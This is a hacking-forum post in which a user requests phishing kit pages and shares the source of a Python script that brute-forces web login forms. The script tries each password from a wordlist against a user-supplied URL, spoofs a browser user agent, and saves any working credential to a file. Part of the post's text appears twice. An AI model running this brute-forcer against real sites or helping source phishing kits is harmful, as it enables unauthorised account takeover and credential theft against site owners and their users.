[REQ] Various Phishers 07-13-2011, 12:09 PM
#1
No, I'm not going to phish with them. I know it sounds stupid to ask for a phisher and not use it to phish, but I'm writing a python script to fuck phishers over and bruteforce login pages. The primary focus is to get the bruteforcer to work. Currently, I need to make sure it's actually sending the data to login. What better way to do that then use a site that accepts ALL logins then to use a phisher?
Another reason I picked this is because I have a theory that my bruteforcer is giving false positives, and the ability to check the login logs would help, and all phishers have this build in.
Any phisher page for just about any site will work, because I want to test it on tons of different pages to make sure it works Universally.
Edit:
I'll just post the source here so people won't doubt that I won't actually be using them to phish. Also, I've only been using python for 2 days now, so for those of you who know it, don't lol at me to much...
I based it off of the source code from another bruteforcer made by somebody who just started python. I added features that allows users to specify the host/username/word list every time you run the program instead of needing to edit the source code. Additionally, I cut the loading time of word lists down to near zero; it used to take ~5 minutes for a 200mb wordlist.
Another reason I picked this is because I have a theory that my bruteforcer is giving false positives, and the ability to check the login logs would help, and all phishers have this build in.
Any phisher page for just about any site will work, because I want to test it on tons of different pages to make sure it works Universally.
Edit:
I'll just post the source here so people won't doubt that I won't actually be using them to phish. Also, I've only been using python for 2 days now, so for those of you who know it, don't lol at me to much...
Code:
import urllib, urllib2, re, os, sys
def main():
host = raw_input('Enter login page: ')
user_agent = 'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)'
headers = {'User-Agent': user_agent}
username = raw_input('Username: ')
error = raw_input('Failed login identifier: ')
word_file = raw_input('Path to wordlist: ')
word_pos = 1
file = open(word_file, 'r')
for word in file:
form = {'username': username, 'password': word}
print 'Trying password: %s/(%d) attempts made' % (word, word_pos)
word_pos = word_pos + 1
data = urllib.urlencode(form)
request = urllib2.Request(host, data, headers)
response = urllib2.urlopen(request)
if not re.search(error, response.read()):
print 'Login Combination: [%s:%s]' % (username, word)
save_combo = open('login comination.txt', 'w')
save_combo.write(username + ':' + word)
save_combo.close
break
if __name__ == '__main__':
main()![[+]](https://sinister.li/images/modern/collapse_collapsed.png)
